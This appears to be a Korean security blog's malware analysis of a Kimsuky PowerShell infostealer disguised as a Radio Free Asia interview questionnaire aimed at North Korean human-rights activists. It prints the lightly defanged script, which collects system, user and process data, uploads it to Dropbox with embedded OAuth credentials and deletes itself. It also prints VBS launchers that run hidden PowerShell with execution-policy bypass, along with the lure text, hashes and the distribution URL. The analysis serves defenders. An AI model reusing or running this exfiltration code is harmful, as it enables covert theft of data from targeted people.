오늘은 Kimsuky(김수키)에서 만든 자유 아시아 방송으로 위장해서 특정 북한 인권운동가 노린 악성코드 인 log_processlist.ps1(2024.12.02)에 대해 글을 적어보겠습니다.
일단 해당 악성코드는 다음과 같은 사이트에서 유포가 되었습니다.
hxxp://bureopen(.)store/1127
일단 사이트에 접속을 하면 다음과 같은 화면을 볼수가 있으며 first.txt,log_processlist.ps1,sec.txt,start.txt
먼저 log_processlist.ps1부터 보겠습니다.
파일명:log_processlist.ps1
사이즈:2,176 Bytes
MD5:d38a6f924abf59eac2f962dcbff6703c
SHA-1:a26fbfa800e36e43f6e0e5ed7a9dcad7756d83bb
SHA-256:77d5f545661717e31e99fb0880510b02d4cb6746f671135c141b1532b1d87857
log_processlist.ps1 에 포함된 파워셀 코드
$iPath = "$env:TEMP\processlist(.)txt";
$oPath = "$env:TEMP\processlist(.)zip";
$oName = "abc_pl(.)zip";
$svbs = "$env:TEMP\start(.)vbs";
$tokenRequestParams = @{
grant_type = "refresh_token"
refresh_token = "-s1Ryl(F)Ep8QAAAAAAAAAAVWfHhsISNE(x)OVo(7)ath6dwDw8i8wym8E94AYvtlP5U-e";
client_id = "zx7ru0m(b0nqx5ytg"
client_secret = "ni9vqkv0t6p(z)lt2"
}
$qwa = "hxxps://a" (+) "pi(.)dr" + "opboxa" + "pi(.)com/oau" + "th2/to" (+) "ken"
$myttto = Invoke-RestMethod -Uri $qwa -Method Post -Bod(y) $tokenRequestParams
if ([System(.)IO.File]::Exists($svbs)) {
remove-item $(s)vbs -Force -Recurse -ErrorAction SilentlyContinue;
}
if ([System.IO(.)File]::Exists($oPath)) {
remove-item $o(P)ath -Force -Recurse -ErrorAction SilentlyContinue;
}
if ([System.IO(.)File]::Exists($iPath)) {
remove-item $(i)Path -Force -Recurse -ErrorAction SilentlyContinue;
}
Get-NetIPAddress | O(u)t-File -FilePath $iPath -Append;
Get-Process | Out-File (-)FilePath $iPath -Append;
Get-WmiObject -Class Win32(L)ogicalDisk -Filter "Dri(v)eType=3" | Select-Object DeviceID, VolumeName, @{Name="Size(GB)"; Expression={[math]::round($_.Size / 1GB, 2)}}, @{Name="Fre(e)Space(GB)"; Expression={[math]::round($_.FreeSpace / 1GB, 2)}} | Out-File -FilePath $iPath -Append;
G(e)t-LocalUser | Format-List * | Out-File -FilePath $iPath -Append;
Get-(W)miObject -Class Win32_OperatingSystem | Select-Object ProductType | Out-File -FilePath $iPath -Append;
$output(F)ile = Split-Path $iPath -leaf
$tttttffff(p)pp="/upload/$outputFile"
$arg = '{ "pa(t)h": "' + $tttttfff(f)ppp + '", "mode": "add", "autore(n)ame": true, "mute": false }'
$authorization = "Bearer " (+) $($myttto(.)access_token)
$headers = New-Object "System.Collections.G(e)neric.Dictionary[[String],[String]]"
$headers.Add("Autho(r)ization", $authorization)
$headers.Add("Dropbox-(A)PI-Arg", $arg)
$headers.Add("Content-Typ(e)", 'application/octet-stream')
$diauyadsf = "djdaidj(a)id"
$diaahah = "1818adjfias(d)jif"
$djaijd = 19029831283(8)123
$urrrr = "hxxps://content.drop"(+)"boxa"+"pi(.)com/2/f" + "iles/uplo" + "ad";
Invoke-RestMethod -Uri $urrrr -Method Post -InFile $iPath -Headers $headers
Remove-Item -Path $MyInvocati(o)n.MyCommand.Path -Force;
악성코드 분석
해당 악성코드는 정보 탈취를 목적으로 제작되었습니다.
1. 파일 경로 설정:
$iPath는 processlist.txt라는 이름으로 임시 디렉터리에 저장될 파일
$oPath는 ZIP 파일이 생성될 경로를 정의
$svbs는 start.vbs라는 파일 경로 VBS 스크립트 파일
Dropbox OAuth 인증 정보:
Dropbox API 인증을 위해 refresh_token, client_id, client_secret을 사용
스크립트가 사용자 계정을 통해 인증된 API 작업을 수행할 수 있도록 설정
임시 파일 삭제:
start(.)vbs 및 기타 생성된 임시 파일들을 삭제하여 흔적 삭제
데이터수집 내용:
네트워크 IP 정보 (Get-NetIPAddress)
실행 중인 프로세스 목록 (Get-Process)
로컬 디스크 정보 (Get-WmiObject -Class Win32_LogicalDisk)
시스템의 로컬 사용자 계정 정보 (Get-LocalUser)
운영 체제 제품 유형 정보 (Get-WmiObject -Class Win32_OperatingSystem)
Dropbox에 데이터 업로드:
데이터는 Dropbox API를 통해 업로드
업로드 대상은 $iPath에 저장된 processlist(.)txt
OAuth를 사용해 인증 후 Dropbox 계정에 데이터를 전송
스크립트 실행 후 본인 파일을 삭제
start.txt 내용
Set objSh(e)ll = CreateObject("WScrip(t)(.)Shell")
appDataPath = objShel(l).ExpandEnvironmentStrings("%temp%") (+) "\pros(.)ps1"
objShell.Run "powershell(.)exe -ExecutionPolicy B(y)pass -File """ & appDataPath & """", 0, False
taskName = "MicrosoftEdgeUpdateTaskMachineDDL"
objShell(.)Run "schtasks /Delete /TN """ & taskName & """ /F", 0, True
코드 설명
1. PowerShell 스크립트 경로 설정:
%temp% 환경 변수를 사용하여 임시 디렉터리 경로를 가져오기
pros(.)ps1라는 이름으로 PowerShell 스크립트를 저장할 경로를 설정
2.PowerShell 실행 정책 우회:
-ExecutionPolicy Bypass를 사용하여 PowerShell의 기본 실행 정책을 무시하고 스크립트를 실행
백그라운드 실행:0은 창을 숨긴 상태로 실행하게 하면 사용자에게는 실행 사실을 알리지 않으므로 사용자는 해당 악성코드 행위를 모름
비동기 실행:False 값으로 인해 스크립트가 호출 후 즉시 반환되며 실행이 비동기적으로 진행
3. 예약 작업 삭제
예약 작업 이름:MicrosoftEdgeUpdateTaskMachineDDL`
일반적으로 Microsoft Edge와 관련된 작업처럼 보이게 하고 악성 코드 동작을 위장 하기 위해 만들어진 이름 그리고
schtasks /Delete 명령어를 통해 지정된 작업을 강제로 (/F) 삭제를 진행을 하면 삭제 동작은 동기적으로 (True) 수행
미끼 파일(자유아시아방송 인터뷰 질의서) 내용
안녕하십니까?
자유아시아방송(RFA) 기자???입니다.
자유아시아방송에서 진행하는 인터뷰에 참여해 주셔서 감사합니다.
본 인터뷰 내용을 기사 작성을 위한 것으로만 이용하며, 일반적인 지식과 통찰을 바탕으로 아래에 있는 질문에 대해 성실히 답변해 주시면 감사하겠습니다.
< 질 문 지 >
질문 1. 대북전단을 보내는 목적은 무엇인가요?
질문 2. 대북전단을 보내는 방법은 무엇인가요?
질문 3. 대북전단을 보내는 것이 북한의 인권 상황 개선에 도움이 될까요?
질문 4. 대북전단과 관련한 정치적 논란은 어떤 것이 있나요?
질문 5. 향후 대북전단살포 계획에 대해 말씀해 주세요?
감사합니다.
first.txt 에 숨겨진 악성코드
Set objShell = CreateObject("WScript.Shell")
appDataPath = objShell.ExpandEnvironmentString(s)("%APPDATA%") + "\Microsoft\Windows\Windows(.)ps1"
objShell.Run "powershell(.)exe -ExecutionPolicy Bypass -File """ & appDa(t)aPath & """", 0, False
코드 분석
1. PowerShell 스크립트 경로 설정:
%APPDATA% 경로 사용:
%APPDATA%는 사용자 계정의 응용 프로그램 데이터 디렉터리 경로를 나타내며 일반적으로 이 디렉터리는 숨겨져 있어 사용자에게 노출되지 않지만 해당 폴더는 악성 코드가 자주 악용 하는 곳입니다.
Windows.ps1라는 파일명은 Windows 시스템 파일처럼 보이도록 위장
2.PowerShell 실행 정책 우회:
-ExecutionPolicy Bypass는 기본적으로 제한되어 있는 PowerShell 실행 정책을 우회하여 악성 스크립트를 실행
스크립트 실행 경로:앞에서 설정을 한 appDataPath 경로에 위치한 Windows(.)ps1 스크립트를 실행
0 값은 PowerShell 창을 숨겨서 사용자에게 실행을 하고 있다는 것을 숨기는 부분
비동기 실행:
False 값을 통해서 명령어 실행이 완료되지 않아도 스크립트가 계속 진행함
2024-12-04 13:12:04 UTC 기준 바이러스토탈에서 탐지하고 있는 보안 업체들은 다음과 같습니다.
ALYac:Trojan.PowerShell.Agent
BitDefender:Trojan.GenericKD.75035524
CTX:Powershell.trojan.infostealer
Emsisoft:Trojan.GenericKD.75035524 (B)
eScan:Trojan.GenericKD.75035524
GData:Trojan.GenericKD.75035524
Kingsoft:Win32.Troj.Undef.a
Trellix (HX):Trojan.GenericKD.75035524
ViRobot:PS.S.Infostealer.2176
결론 북한 해킹 단체들은 기본적으로 네이버 피싱 사이트를 만들어 개인정보를 털고 있으며 해당 악성코드 와 같이 인지도가 높은 사이트를 위장을 해서 특정 북한 인권 단체 나 대북 전문가 분들을 노리고 있는 것을 파악을 할 수가 있습니다. 그러니 항상 조심하는 습관을 가져야 할 것입니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
윈도우 11 KB5048685 업데이트로 인해 와이 파이 및 시작 메뉴 작동이 중지됨 (0) | 2024.12.27 |
---|---|
다시 돌아온 LockBit 4.0 랜섬웨어 간단 분석 (0) | 2024.12.25 |
북한 김수키(Kimsuky)에서 만든 악성코드-1.txt(2024.12.14) (0) | 2024.12.24 |
북한 해킹단체 김수키(Kimsuky)에서 만든 금융거래확인서로 위장한 악성코드-confirmation.chm(2024.12.10) (0) | 2024.12.20 |
맥 OS(Mac OS)CVE-2024-44175 취약점 간단 분석 (0) | 2024.12.19 |
Mullvad VPN CVE-2024-55884 심각한 보안 취약점 (0) | 2024.12.18 |
노드 VPN 스마트폰 IP 우회 변경 사용법(3개월 무료) (2) | 2024.12.17 |
북한 해킹 단체 김수키(Kimsuky)에서 만든 스피어 피싱으로 제작된 악성코드-열차9월10일원고(화)_4.bat(2024.12.02) (0) | 2024.12.17 |